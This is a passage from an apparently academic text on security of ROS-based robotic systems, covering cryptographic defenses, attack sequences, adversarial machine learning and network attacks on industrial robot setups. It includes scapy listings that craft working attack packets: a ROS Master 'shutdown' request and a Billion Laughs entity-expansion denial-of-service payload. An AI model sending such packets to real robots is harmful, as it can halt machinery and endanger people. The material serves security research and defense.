the event of unregistering a component is more tricky since if symmetric
encryption is there to replace a certificate-based authentication (for
efficiency reasons), the involved keys are only shared between two nodes $A$
and $B$, while node $B$ only actively interacts with the ROS master for the
de-registration, but not with node $A$. To resolve this, we can make use of
the API callbacks to get notified about a parameter change. Specifically, once
a component $B$ was registered with the ROS master, the master can maintain a
status parameter for this component, on which a component $A$ that $B$ later
makes contact with can place a hook to receive a callback upon a status change
related to $B$. This callback, in turn, would require $A$ to present $B$’s
certificate also to the ROS master, as assurance that (i) $B$ has sought
contact with $A$, and (ii) that $A$ is hence permitted to receive the
respective callback. If the status of $B$ changes upon a de-registration, and
$A$ receives the respective call from the ROS master, $A$ can simply remove
the stored secret key $k_{A,B}$, to effectively blacklist the de-registered
device. Similarly, the ROS master can actively maintain a blacklist of
certificate serial numbers, to which the serial number of the certificate of
$B$ is added after the de-registration.

###### Using Symmetric Cryptography:

Public key cryptography has the appeal of relatively simpler key management,
coming with the price-tag of shorter-lived keys and the need to replace
certificates and keys from time to time. This incurs both, an investment of
time and money, and as such could be abandoned in favor of a seemingly simpler
alternative of using symmetric cryptographic primitives. Indeed, it is
possible to accomplish authentication, confidential communication and
authorization purely on grounds of symmetric cryptography, such as done in
systems like Kerberos [86], or multipath transmission and -authentication
techniques [120, 121, 178]. The latter techniques also lend themselves to
quantification of security with help of game theory [119], and the systematic
optimization of the key management in the network [110]. In light of this
research, however, not having yet grown beyond academic experimental results,
we leave this road unexplored hereafter.

####  2.3.3 How Defenses Work

Let us close this section with a glance at how attacks on ROS use the API, and
where the cryptographic protection would cause a failure of the attack
sequence. We borrowed the following three examples provided by [36], referring
to ROS1 (i.e., not to be mixed up with its successor project ROS 2). Note,
that more attack vectors to ROS are known and can be found in the cited
literature. The attacks are action sequences between the ROS master M, a
publisher P, a subscriber S, and the adversary A.

###### Example 1: Stealth Publisher Attack

This attack is about injections of false data into a running ROS application.
The attacker disguises itself as a legitimate publisher and issues a
publisherUpdate to replace the legitimate publishers from the subscribers’
points of view. Figure 2.1 displays the sequence diagram, in which the
unprotected call to publisherUpdate is vital to the issue. With this call
under access control and prior authentication, the attacker’s node’s call
would be rejected.

Figure 2.1: Sequence diagram of a stealth publisher attack

###### Example 2: Malicious Parameter Update Attack

Here, the attacker targets a node N and unsubscribes on its victim’s behalf to
any future parameter updates, aiming at sending those updates itself. Figure
2.2 displays the sequence diagram. Cryptographic authentication with access
control would enforce here that only the previously registering identity can
later unregister for the parameter updates. Applied to this, the attacker
would have to forge its victim’s identity to succeed in unsubscribing on N’s
behalf. This either requires a forged certificate or knowledge of the secret
key shared between N or the ROS master. The latter is only possible by
hijacking the node N itself or hacking into N’s key store. In both cases, the
adversary has, effectively, become node N, at least from a cryptographic
perspective on how identities are defined (namely by knowledge of secret
keys).

Figure 2.2: Sequence diagram of a malicious parameter update attack Figure
2.3: Sequence diagram of a service isolation attack

###### Example 3: Service Isolation Attack

Here, the attacker directly asks the ROS master to unregister a service, so
that another node (here C) cannot access that service subsequently. Figure 2.3
displays the sequence diagram Again, access control to the API call
unregisterService can prevent this.

###  2.4 Vulnerabilities of AI-Enabled Robotic Systems

Attacks are not limited to the interplay of the robot software and hardware
components themselves, but may also target the behavior of individual
components as such. Among these is the planning of actions, often employing AI
algorithms at the core and decision-making logic. An adversary can try to
influence both in several ways, such as:

  1. 1.

replacement of entire components in hard- or software with parts that s/he can
control

  2. 2.

manipulate the behavior of algorithms by properly crafted inputs, without
touching the algorithm itself

Taking the first option requires the adversary to interfere with the
manufacturing process of the robot itself. Striving for the second option is
in some cases easier if proper inputs can be crafted to mislead the system
into unwanted behaviors. The latter has grown into its own branch of security
research known as _return-oriented programming_ [130], which is basically the
art of exploiting buffer overflows to the end of running arbitrary code by
properly crafted inputs to the system. Secure coding practices are the natural
countermeasure here. Other techniques target the planning or AI components
more directly and over more mathematical routes, and we designate the
discussion below to more details on this.

To protect against replacements, the whole spectrum of production line
security applies, ranging from transport codes to assure the authenticity of
parts along supply chains, and the loading and execution of digitally signed
code from trusted vendors only. Cryptographic parts in the system, as well as
any source of randomness, require particular attention and special security.
For example, random number generators must not be predictable in the sense
that the attacker should be unable to tell (or at least roughly anticipate)
what future random values may come up based on past recordings. This
requirement is obvious in examples like encryption of streams, where the
attacker should not successfully forecast the key stream for the
communication. Certified components like cryptographic random number
generators naturally satisfy this requirement. However, the need extends to
any use of game theory too. Specifically, games implicitly assume that neither
player can reliably forecast the opponent’s actions, and game-theoretic
defenses, such as moving targets, strongly rely on this. Random number
generators are therefore crucially required to (i) be unpredictable to the
extent possible, and (ii) to assure the sought shape of the distribution of
random numbers (for cryptography, this is mostly a uniform distribution, but
for game theory, arbitrary distributions can arise).

Adopting a quantitative approach to randomness, it is tempting to think of
entropy as the right measure here, but this can be misleading if the
specification is unclear about which type of entropy: Shannon-entropy, which
is a widely understood default of the (unspecific) term “entropy”, only
relates to “average encoding length”, but it is _not true_ that a random
variable with large Shannon entropy is hard to predict (in fact, one can
easily construct random variables with arbitrarily high Shannon entropy but
which are trivial to predict future values for). For random generators, _min-
entropy_ is the correct measure of quality when it comes to unpredictability.
Second, the genuineness of random generators needs to be assured (as for any
other component), to avoid so-called _randomness substitution attacks_ , by
which even quantum cryptographic systems could be broken [122]. This again
comes back to the requirement of manufacturing only original parts with
assured authenticity. The problem is particularly prevalent in password
security, since measuring password strength in terms of entropy should be
avoided (for being misleading in possibly several ways); game theory can also
help here with proper models to design password choice regimes for robustness
[115].

Overall, the replacement of parts, whether in hard- or software, is only
required if the parts have a “fixed” function that does not change over time.
AI is different here in starting off as a rather unspecific algorithm
“variable” functionality that is, online or offline, trained, resp. fitted, to
its designated purpose. Examples include planning algorithms, relying on a
formalized definition of the world built into the algorithm as an ontology, or
more flexible online-learning algorithms such as deep nets, regression or
classification models, etc. Attack vectors then arise upon replacing the
ontology (or general world description) for the planning algorithm, or by
manipulating the training data for some AI component. The field of adversarial
machine learning [9, 144, 70, 156, 159, 158, 160] is about demonstrating how
sensitive planning and AI algorithms can react upon small changes in their
inputs (whether for training or processing), and how to make the algorithms
more robust. In a nutshell, robustness is gained by the explicit inclusion of
a random error in the training data for the training algorithm, so that a
likewise error in the later inputs to the system will not cause the AI to come
up with the wrong decisions. _Robust game theory_ [2] provides a formal
framework, seeking not to optimize the expected behavior, but rather seeking
to optimize the worst-possible behavior within a limited error deviation from
the proper inputs. That is abstractly speaking, if $f(\mathbf{x},\mathbf{y})$
denotes the output under environmental conditions $\mathbf{x}$ and our own
action $\mathbf{y}$, conventional AI, decision making or game theory would
search for some action $\mathbf{y}$ to optimize

$\text{best action
}\mathbf{y}^{*}=\mathop{\text{argmax}}_{\mathbf{y}}f(\mathbf{x},\mathbf{y})\text{
in the current situation }\mathbf{x},$

assuming a maximization here (without loss of generality). Contrary to this,
_robust optimization_ would allow for some error $\varepsilon$ to occur in the
description $\mathbf{x}$ of the situation, and perhaps even in the actions
that we may take (game-theoretically, this leads to the concept of a trembling
hand equilibrium); so a robust choice of a

$\displaystyle\text{best action is }\mathbf{y}^{*}=$
$\displaystyle\mathop{\text{argmax}}_{\mathbf{y}}\overbrace{\left(\min_{\left\|\delta_{1}\right\|,\left\|\delta_{2}\right\|\leq\varepsilon}f(\mathbf{x}+\delta_{1},\mathbf{y}+\delta_{2})\right)}^{\text{worst
case outcome under errors}}$ (2.3) $\displaystyle\text{ in the current
situation }\mathbf{x}.$

Problem (2.3) states that within some pre-defined (small) tolerance of
$\varepsilon>0$, we allow a deviation $\delta_{1}$ in any of the input values
$\mathbf{x}$, and another likewise bounded deviation $\delta_{2}$ in the
action that we take, and optimize the worst that can happen under these
possible deviations, which is the minimization over the deviations (the norms
$\left\|\delta_{1}\right\|,\left\|\delta_{2}\right\|$ appear here only for
technical reasons of the optimization and only express that the errors cannot
be arbitrarily large). Robust AI instantiates (2.3) by letting $f$ be the
deviation between training data and the current output of the AI algorithm,
e.g., a deep neural network. Planning algorithms can be designed as an
instance of (2.3) by letting $\varepsilon$ be interpreted as a measure of how
accurate sensor information can be. In that case, $\varepsilon$ has a direct
interpretation of necessary accuracy for the sensor data to lead to reasonable
decisions; or equivalently, the attacker can manipulate sensor data up to a
deviation of $\varepsilon$ before the processing algorithm outputs unusable
decisions. This is especially useful for image or object recognition: many
examples of adversarial machine learning apply to manipulations of images that
are invisible for the human eye, but can strongly interfere with the pattern
recognition algorithm if it is based on AI, as [155] impressively
demonstrates. The robust training of an AI algorithm can avoid the problem by
allowing for the training images to deviate slightly at random (up to a
tolerance of $\varepsilon$), but still yielding the right results. The exact
magnitude of $\varepsilon$ (and hence the particular norm in (2.3) then
depends on how much difference $<\varepsilon$ would elude the human eye, and
at which difference $>\varepsilon$ the manipulation would become visible and
recognizable in the training data already).

Zero-sum games, as we cover in detail in Chapter 5, assign the inner
optimization to the adversary directly, thus seeking the best decision under
anything that the attacker can do. The error tolerance $\varepsilon$ imposed
in (2.3) is then replaced by the entire action space of the attacker (thus
retaining some limitation on what can happen, only in a different way as by a
numeric error), but the concept remains the same: zero-sum game models for
security provide the best advice against any action that the attacker can
mount within a pre-defined set of possibilities. The game in Section 5.1 is
one particular instance of such reasoning. We remark, however, that the
unpredictability of actions is not often address in game-theoretic
optimizations, but are not difficult to include in a multi-criteria game for
decision making [111, 126]. Nonetheless, a randomness substitution attack
against a game-theoretic defense system could be the replacement of an
equilibrium strategy by what the adversary prefers. This can be achieved by
replacing the random generators used for the decision component. This closes
the loop back to the need of having authentic components and trusted platforms
to run all algorithms. Likewise, crafted inputs can make AI decision support
components behave in any way that the adversary prefers unless the training
was performed using robust methods. It is thus generally not recommended to
take AI components just from “ready-to-use” libraries when constructing a
robot, but rather to carefully evaluate the implementation and training of all
decision support components, with an eye on robustness.

##  Chapter 3 Security of Networked Robotic Systems

Robotics is the art of system integration. An art that aims to build machines
that operate autonomously: robots. A robot is often understood as a system
with networks of devices. A system of systems. One that comprises sensors to
perceive its environment, actuators to act on it and a compute substrate
(often CPU-based) that processes it all and commands according to its use
case. All these devices are interconnected through one or several networks.
Networking security in robotics is thereby of utmost importance.

The following sections will summarize some security considerations for
networked robotic systems. First, we will discuss intra-robot network security
in ROS. Second, we will analyze inter-robot network security aspects for an
industrial setup and finally, we will look into more advanced topics to
consider when looking at networked robotic systems.

###  3.1 Security in ROS Networked Systems

ROS is rapidly becoming a standard in robotics however as previously
introduced, it was not designed with security in mind. Nonetheless, it
presents one of the most widely adopted and accepted examples of intra-
networked robotic systems. All components that form ROS-based robots are
abstracted and integrated into a common data structure: the ( ROS)
computational graph. It models the overall robotic behavior through each
individual computation represented as a Node, communicating with other
computation Nodes through Topics (a continuous dataflow of information within
a databus) and other abstractions. The computational graph not only helps
visualize the robotic behavior but also drives the design process by
partitioning each robotic computation into Nodes. More specifically, it
abstracts the networked nature of robotic systems and helps software engineers
develop the behavior without caring about the underlying networks connecting
robot components (sensors, actuators, and cognition, among others).

From an electrical engineering’s perspective, the computational graph can be
understood as the _schematic_ of the overall robot whereas the _layout_
(following with electrical engineering terms), the one capturing the physical
networks interconnecting robot components, is often denominated as the ( ROS)
data layer graph. The data layer graph thereby represents the physical
groupings and connections of robot components that implement the behavior
modeled in the computational graph.

From a security perspective, we should care about both. Figure 3.1 provides a
simplified example. The computational graph reflects functional aspects of the
robot and thereby should be hardened to avoid exposed flaws that empower
attackers to influence the robot behavior. At the same time, the data layer
graph reflects the physical network map of the robot and any attack vector
will need to leverage entry points in such a physical map. Cut-The-Rope
(Section 5.1 is one game-theoretic model played on exactly the logical graph-
theoretic layout of a system, describing penetration attempts. Other game
models focus on interceptions in the orchestration of components, such as the
synchronization between UAV; see Section 5.2.2 for this and further examples).

Figure 3.1: An exemplary ROS-based robotic system represented by its
abstractions, the computational graph (top) and the data layer graph (bottom).

In this section, we analyze both and walk the reader through common security
issues observed in ROS networked systems. Particularly, we highlight how
through exploiting the ROS architecture or the underlying networking
protocols, security is easily compromised inside a robot’s network.

####  3.1.1 Instrumenting the ROS data layer graph

As with other branches of testing, security testing often requires engineers
to instrument their subjects so that results become measurable. To explore
both the ROS computational graph and the data layer graph, we develop a Python
implementation of the TCPROS transport layer for ROS. This implementation is
built on top of scapy, a packet manipulation framework that can forge or
decode packets of a wide number of protocols. Listing 1 presents a portion of
one such implementation111Disclaimer: By no means the authors or Alias
Robotics encourages or promote the unauthorized tampering with running robotic
systems. This can cause serious human harm and material damages. The portion
of the code disclosed is meant only for academic purposes. often included in
security-oriented toolboxes like alurity [73].

Listing 1:  The portion of a package dissector and crafter for TCPROS
transport layer targeting ROS Melodic Morenia 1.14.5.

⬇

1# Copyright (C) Alias Robotics<EMAIL_ADDRESS>
2# This program is published under a GPLv3 license

3# Author:

4# Victor Mayoral-Vilches<EMAIL_ADDRESS>
5

6”””

7TCPROS␣transport␣layer␣for␣ROS␣Melodic␣Morenia␣1.14.5

8”””

9# scapy.contrib.description = TCPROS transport layer for ROS Melodic Morenia

10# scapy.contrib.status = loads

11# scapy.contrib.name = tcpros

12

13import struct

14from scapy.fields import (

15 LEIntField,

16 StrLenField,

17 FieldLenField,

18 StrFixedLenField,

19 PacketField,

20 ByteField,

21 StrField,

22)

23from scapy.layers.inet import TCP

24from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse

25from scapy.packet import *

26

27

28class TCPROS(Packet):

29 ”””

30␣␣␣␣TCPROS␣is␣a␣transport␣layer␣for␣ROS␣Messages␣and␣Services.␣It␣uses

31␣␣␣␣standard␣TCP/IP␣sockets␣for␣transporting␣message␣data.␣Inbound

32␣␣␣␣connections␣are␣received␣via␣a␣TCP␣Server␣Socket␣with␣a␣header

33␣␣␣␣containing␣message␣data␣type␣and␣routing␣information.

34

35␣␣␣␣This␣class␣focuses␣on␣capturing␣the␣ROS␣Slave␣API

36

37␣␣␣␣An␣example␣package␣is␣presented␣below:

38

39␣␣␣␣␣␣␣␣B0␣00␣00␣00␣26␣00␣00␣00␣63␣61␣6C␣6C␣65␣72␣69␣64␣␣….&…callerid

40␣␣␣␣␣␣␣␣3D␣2F␣72␣6F␣73␣74␣6F␣70␣69␣63␣5F␣38␣38␣33␣30␣35␣␣=/rostopic_88305

41␣␣␣␣␣␣␣␣5F␣31␣35␣39␣31␣35␣33␣38␣37␣38␣37␣35␣30␣31␣0A␣00␣␣_1591538787501..

42␣␣␣␣␣␣␣␣00␣00␣6C␣61␣74␣63␣68␣69␣6E␣67␣3D␣31␣27␣00␣00␣00␣␣..latching=1’…

43␣␣␣␣␣␣␣␣6D␣64␣35␣73␣75␣6D␣3D␣39␣39␣32␣63␣65␣38␣61␣31␣36␣␣md5sum=992ce8a16

44␣␣␣␣␣␣␣␣38␣37␣63␣65␣63␣38␣63␣38␣62␣64␣38␣38␣33␣65␣63␣37␣␣87cec8c8bd883ec7

45␣␣␣␣␣␣␣␣33␣63␣61␣34␣31␣64␣31␣1F␣00␣00␣00␣6D␣65␣73␣73␣61␣␣3ca41d1….messa

46␣␣␣␣␣␣␣␣67␣65␣5F␣64␣65␣66␣69␣6E␣69␣74␣69␣6F␣6E␣3D␣73␣74␣␣ge_definition=st

47␣␣␣␣␣␣␣␣72␣69␣6E␣67␣20␣64␣61␣74␣61␣0A␣0E␣00␣00␣00␣74␣6F␣␣ring␣data…..to

48␣␣␣␣␣␣␣␣70␣69␣63␣3D␣2F␣63␣68␣61␣74␣74␣65␣72␣14␣00␣00␣00␣␣pic=/chatter….

49␣␣␣␣␣␣␣␣74␣79␣70␣65␣3D␣73␣74␣64␣5F␣6D␣73␣67␣73␣2F␣53␣74␣␣type=std_msgs/St

50␣␣␣␣␣␣␣␣72␣69␣6E␣67␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ring

51

52␣␣␣␣␣␣␣␣Sources:

53␣␣␣␣␣␣␣␣␣␣␣␣-␣http://wiki.ros.org/ROS/TCPROS

54␣␣␣␣␣␣␣␣␣␣␣␣-␣http://wiki.ros.org/ROS/Connection%20Header

55␣␣␣␣␣␣␣␣␣␣␣␣-␣https://docs.python.org/3/library/struct.html

56␣␣␣␣␣␣␣␣␣␣␣␣-␣https://scapy.readthedocs.io/en/latest/build_dissect.html

57

58␣␣␣␣␣␣␣␣TODO:

59␣␣␣␣␣␣␣␣␣␣␣␣-␣Extend␣to␣support␣subscriber’s␣interactions

60␣␣␣␣␣␣␣␣␣␣␣␣-␣Unify␣with␣subscriber’s␣header

61

62␣␣␣␣␣␣␣␣NOTES:

63␣␣␣␣␣␣␣␣␣␣␣␣-␣4-byte␣length␣+␣[4-byte␣field␣length␣+␣field=value␣]*

64␣␣␣␣␣␣␣␣␣␣␣␣-␣All␣length␣fields␣are␣little-
endian␣integers.␣Field␣names␣and␣values␣are␣strings.

65␣␣␣␣␣␣␣␣␣␣␣␣-␣Cooked␣as␣of␣ROS␣Melodic␣Morenia␣v1.14.5.

66␣␣␣␣”””

67

68 name = ”TCPROS”

69

70 def guess_payload_class(self, payload):

71 string_payload = payload.decode(”iso-8859-1”) # decode to string for search

72

73 # flag indicating if the TCPROS encoding format is met (at a general level)

74 # 4-byte length + [4-byte field length + field=value ]*

75 total_length = len(payload)

76 total_length_payload = struct.unpack(”<I”, payload[:4])[0]

77 remain = payload[4:]

78 remain_len = len(remain)

79 # flag of the encoding format

80 flag_encoding_format = (total_length > total_length_payload) and (

81 total_length_payload == remain_len

82 )

83

84 flag_encoding_format_subfields = False

85 if flag_encoding_format:

86 # flag indicating that sub-fields meet

87 # TCPROS encoding format:

88 # [4-byte field length + field=value ]*

89 flag_encoding_format_subfields = True

90 while remain:

91 field_len_bytes = struct.unpack(”<I”, remain[:4])[0]

92 current = remain[4 : 4 + field_len_bytes]

93 remain = remain[4 + field_len_bytes :]

94

95 if int(field_len_bytes) != len(current):

96 # print(”BREAKING - int(field_len_bytes) != len(current)”)

97 flag_encoding_format_subfields = False

98 break

99

100 if (

101 ”callerid” in string_payload

102 and flag_encoding_format

103 and flag_encoding_format_subfields

104 ):

105 return TCPROSHeader

106 elif flag_encoding_format and flag_encoding_format_subfields:

107 return TCPROSBody

108 elif flag_encoding_format:

109 return TCPROSBodyVariation

110 elif ”HTTP/1.1” in string_payload and ”text/xml” in string_payload:

111 # NOTE:

112 # - ”HTTP/1.1”: corresponds with melodic

113 # - ”HTTP/0.3”: corresponds with kinetic

114

115 # return HTTPROS # corresponds with XML-RPC calls (Master and Parameter
APIs)

116 return HTTP # use old-fashioned HTTP, which gives less control over fields

117

118 elif ”HTTP/1.0” in string_payload and ”text/xml” in string_payload:

119 return HTTP # use old-fashioned HTTP, which gives less control over fields

120 else:

121 # return Packet.guess_payload_class(self, payload)

122 return Raw(self, payload) # returns Raw layer grouping not only the

123 # payload but this layer itself.

124

125…

####  3.1.2 The ROS computational graph

Armed with listing 1, introspecting the computational graph in search for
insecurities becomes a simpler process. Starting from the reproduction of
common requests between nodes, a researcher would incrementally use a variety
of techniques to challenge the resilience of the computational graph when
presented with uncommon or unexpected packages. For example, listing 2 shows
how to craft a package to obtain the PID of the ROS Master (local process PID
in the machine where it’s running). This information disclosure vulnerability
leads to no further security hazards however, variations of this construct
will. Another example introduced in listing 3 allows intra-network attacks
that will frustrate the computational graph as a whole, shutting it down.

Listing 2: Default package to execute ”getPid” method of Master API

⬇

1package_getPid = (

2 IP(version=4, ihl=5, tos=0, flags=2, frag=0, dst=”12.0.0.2”)

3 / TCP(

4 sport=20000,

5 dport=11311,

6 seq=1,

7 flags=”PA”,

8 ack=1,

9 )

10 / TCPROS()

11 / HTTP()

12 / HTTPRequest(

13 Accept_Encoding=b”gzip”,

14 Content_Length=b”159”,

15 Content_Type=b”text/xml”,

16 Host=b”12.0.0.2:11311”,

17 User_Agent=b”xmlrpclib.py/1.0.1␣(by␣www.pythonware.com)”,

18 Method=b”POST”,

19 Path=b”/RPC2”,

20 Http_Version=b”HTTP/1.1”,

21 )

22 / XMLRPC()

23 / XMLRPCCall(

24 version=b”<?xml␣version=’1.0’?>\n”,

25 methodcall_opentag=b”<methodCall>\n”,

26 methodname_opentag=b”<methodName>”,

27 methodname=b”getPid”,

28 methodname_closetag=b”</methodName>\n”,

29 params_opentag=b”<params>\n”,

30 params=b”<param>\n<value><string>/rostopic</string></value>\n</param>\n”,

31 params_closetag=b”</params>\n”,

32 methodcall_closetag=b”</methodCall>\n”,

33 )

34)

Listing 3: Default package to execute ”shutdown” method of Master API

⬇

1package_shutdown = (

2 IP(version=4, ihl=5, tos=0, flags=2, dst=”12.0.0.2”)

3 / TCP(

4 sport=20001,

5 dport=11311,

6 seq=1,

7 flags=”PA”,

8 ack=1,

9 )

10 / TCPROS()

11 / HTTP()

12 / HTTPRequest(

13 Accept_Encoding=b”gzip”,

14 Content_Length=b”227”,

15 Content_Type=b”text/xml”,

16 Host=b”12.0.0.2:11311”,

17 User_Agent=b”xmlrpclib.py/1.0.1␣(by␣www.pythonware.com)”,

18 Method=b”POST”,

19 Path=b”/RPC2”,

20 Http_Version=b”HTTP/1.1”,

21 )

22 / XMLRPC()

23 / XMLRPCCall(

24 version=b”<?xml␣version=’1.0’?>\n”,

25 methodcall_opentag=b”<methodCall>\n”,

26 methodname_opentag=b”<methodName>”,

27 methodname=b”shutdown”,

28 methodname_closetag=b”</methodName>\n”,

29 params_opentag=b”<params>\n”,

30
params=b”<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>4L145_R080T1C5</string></value>\n</param>\n”,

31 params_closetag=b”</params>\n”,

32 methodcall_closetag=b”</methodCall>\n”,

####  3.1.3 The ROS data layer graph

Below the computational graph sits the data layer graph, which includes lower-
layer protocols. Various security issues affect the ROS data layer graph [77],
including TCP’s SYN-ACK DoS flooding or FIN-ACK flood attacks. These and many
more attacks can easily be implemented using simple constructs that make use
of 1. As an additional example, listing 4 presents an XML External Entity
attack (codenamed as the Billion Laughs attack) that leverages flaws in the
underlying XMLRPC protocol. This flaw was reported as part of a technical
report first [136] and applies to ROS Indigo distro and previous ones.

Listing 4: A package that crafts the billion laughs attack exploiting a
vulnerability in the XMLRPC underlying protocol.

⬇

1package_xxe = (

2 IP(version=4, ihl=5, tos=0, flags=2, dst=”12.0.0.2”)

3 / TCP(

4 sport=20000,

5 dport=11311,

6 seq=1,

7 flags=”PA”,

8 ack=1,

9 )

10 / TCPROS()

11 / HTTP()

12 / HTTPRequest(

13 Accept_Encoding=b”gzip”,

14 Content_Length=b”227”,

15 Content_Type=b”text/xml”,

16 Host=b”12.0.0.2:11311”,

17 User_Agent=b”xmlrpclib.py/1.0.1␣(by␣www.pythonware.com)”,

18 Method=b”POST”,

19 Path=b”/RPC2”,

20 Http_Version=b”HTTP/1.0”,

21 )

22 / XMLRPC()

23 / XMLRPCCall(

24
version=b”<?xml␣version=’1.0’?><!DOCTYPE␣string␣[<!ENTITY␣a0␣’dos’␣><!ENTITY␣a1␣’&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;’><!ENTITY␣a2␣’&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;’><!ENTITY␣a3␣’&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;’><!ENTITY␣a4␣’&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;’><!ENTITY␣a5␣’&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;’><!ENTITY␣a6␣’&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;’><!ENTITY␣a7␣’&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;’><!ENTITY␣a8␣’&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;’>␣]>\n”,

25 methodcall_opentag=b”<methodCall>\n”,

26 methodname_opentag=b”<methodName>”,

27 methodname=b”getParam”,

28 methodname_closetag=b”</methodName>\n”,

29 params_opentag=b”<params>\n”,

30
params=b”<param>\n<value><string>/rosparam-924sdasds18</string></value>\n</param>\n<param>\n<value><string>/rosdistro␣&a8;␣</string></value>\n</param>\n”,

31 params_closetag=b”</params>\n”,

32 methodcall_closetag=b”</methodCall>\n”,

33 )

34)

####  3.1.4 Intrusion and Anomaly Detection

As with any networked or distributed systems, intrusion and anomaly detection
is one of the standard tools for security precautions [41, 40, 39]. Many
applications in robotics commonly follow deterministic patterns of information
flows, communications, and motions (e.g., when robots are designed and
assembled in a standardized way), although exceptions may exist. When the
robot is programmed to automate repetitive mechanical tasks, collected data,
including sensor information, moves, and locations, can be accurately
predicted by internal models. The data can be naturally used for the detection
of anomalies upon every “significant?? deviation from the expected, i.e.,
programmed, behaviors.

One aspect to take into account when designing Intrusion Detection Systems
(IDS) for robots is the fragmented way of the design process. Robot
manufacturers often implement their wire-level protocol, with its meta-fields
and payloads which make it difficult to adapt traditional (general purpose)
IDS to robotics. For IDS mechanisms to be effective, they need to account for
the particularities of robot protocols and extend their logic with appropriate
package dissectors222Note that we have introduced in Section 3 a dissector for
ROS, which uses a particular communication middleware assumed over Ethernet
networks.. To this end, there is a need to complement conventional IDS and run
customized IDS in parallel, either as network-based, host-based, or hybrid
implementation, using black- or whitelisting of patterns in the network
traffic or log files, and event correlation to detect attacks.

The whole spectrum of detection technologies for general cyber-physical
systems applies to robots [134]. The automated analysis of log files is of
particular relevance for robotics when it comes to matters of _accountability_
[35, 125] in forensic investigations after accidents or observed misbehavior
of a robot. Finally, the attempts to poison training or input data to AI
decision support components, such as outlined in Section 2.4, are likewise
nothing but anomalies or intrusion attempts, and IDS can help detect them
before they cause any harm. However, it is generally advisable to consider any
such precautions as an auxiliary security measure. Developers and users cannot
completely rely on IDS for security. Instead, we need to design proactive and
strategic defense mechanisms for further protections, which will be discussed
in Section 5.

###  3.2 Security for Industrial Multi-Agent Robotic Systems

Figure 3.2:  Use case architecture diagram. The synthetic scenario presents a
network segmented in 5 levels with segregation implemented following
recommendations in NIST SP 800-82 and IEC 62443 family of standards. There are
6 identical robots from Universal Robots presenting a variety of networking
setups and security measures, each connected to their controller.
$\hat{S_{n}}$ and $\hat{C_{n}}$ denote security hardened versions of an $n$
control station or controller respectively.

Robotic systems in industry are generally composed by multiple robot endpoints
interconnected and coordinated. Accordingly, on top of intra-robot network
security issues described in the previous sub-section another dimension
arises, inter-robot network security. Figure 3.2 presents one such synthetic
industrial scenario [77] to study the interactions between different robots
and the insecurities arising from them. The scenario presents an assembly line
operated by ROS-powered robots while following industrial guidelines on setup
and security. The industrial layout is built following NIST Special
Publication 800-82 Guide to ICS Security [135] as well as some parts of
ISA/IEC 62443 family of norms [32]. Each robot is connected to a Linux-based
control station that runs the ROS-Industrial drivers using its corresponding
network segment. Control stations are interconnected and hardened by following
the guidelines described in a technical report [3]. To simplify, for the
majority of the cases we assume that the controller is connected to a
dedicated Linux-based control station that runs ROS Melodic Morenia
distribution and the corresponding ROS-Industrial driver. For those cases that
do not follow the previous guideline, the robot controller operates
independent from the ROS network (e.g. robots $R_{3}$ and $R_{6}$) but still
shares the same network segment, being connected to control stations
$\hat{S_{1}}$, $\hat{S_{2}}$, $\hat{S_{4}}$ and $\hat{S_{5}}$.

The following subsections describe several security issues on the industrial
multi-agent robotic setup of Figure 3.2.

####  3.2.1 $A_{1}$: Targeting ROS-Industrial and ROS core packages from
adjacent networks

Figure 3.3: Diagram depicting an attack targeting ROS-Industrial and ROS core
packages. The attacker exploits a vulnerability present in a ROS package
running in $\hat{S_{7}}$ (actionlib). Since $\hat{S_{7}}$ is acting as the ROS
Master, segregation does not impose restrictions on it and it is thereby used
to access other machines in the OT-level to send control commands.

To reason about this attack, we adopt the position of an attacker with access
and privileges in a development machine $D_{1}$ in the IT side of the
scenario, Level 4. Reaching such machine is beyond the scope of this
particular study but generally consists of an attacker using either a Wide
Area Network (WAN) (such as the Internet) or a physical entry-point to exploit
an existing vulnerability in the development machine $D_{1}$ and obtain a
certain amount of privileges (step 1 of the attack diagram of Figure 3.3).
Further to that, a privilege escalation will be performed by the exploitation
of additionally vulnerable services, which allows the attacker to eventually
gain privileges into $D_{1}$ and command it as desired (step 2). From $D_{1}$,
an attacker would pivot into Level 3 by exploiting a vulnerability or
misconfiguration (or a combination of both [77]) in the ROS core and/or ROS-
Industrial packages (step 3). Having gained control of the Central Control
Station $S_{7}$ the attacker could decide to establish a reverse channel of
communications directly –avoiding the developer station– (step 4) or proceed
to control OT (Level 2 and below) by sending commands via the ROS
computational graph (step 5).

####  3.2.2 $A_{2}$: Targeting underlying network protocols

Another approach to attacking multi-agent robotic systems consists of
targeting underlying network protocols interconnecting the different robot
endpoints. This possibility is depicted in Figure 3.4.

Figure 3.4: Architecture diagram depicting attacks to ROS via underlying
network protocols. Depicts two offensive actions performed as part of $A_{2}$.
The SYN-ACK DoS flooding does not affect $\hat{S_{7}}$ due to hardening. In
green, a previously established ROSTCP communication between $\hat{S_{4}}$ and
$\hat{S_{7}}$. In red, the FIN-ACK attack which successfully disrupts the
network interaction leveraging flaws in underlying network protocols.

As pointed out previously, ROS-Industrial software builds on top of ROS
packages which also build on top of traditional networking protocols at OSI
layers 3 and 4. It’s not uncommon to find ROS deployments using IP/TCP in the
Network and Transport levels of the communication stack. The attack
demonstrated in Figure 3.4 consists of a malicious attacker with privileged
access to an internal ROS-enabled control station (e.g. $S_{1}$) disrupting
the ROS-Industrial communications and interactions of other participants of
the network. The attack leverages the lack of authentication in the ROS
computational graph previously reported in other vulnerabilities of ROS such
as RVD#87 or RVD#88. Without necessarily having to take control of the ROS
computational graph, by simply spoofing another participant’s credentials (at
the network level) and either disturbing or flooding communications within
infrastructure’s Level 2 (Process Network), researchers were able to
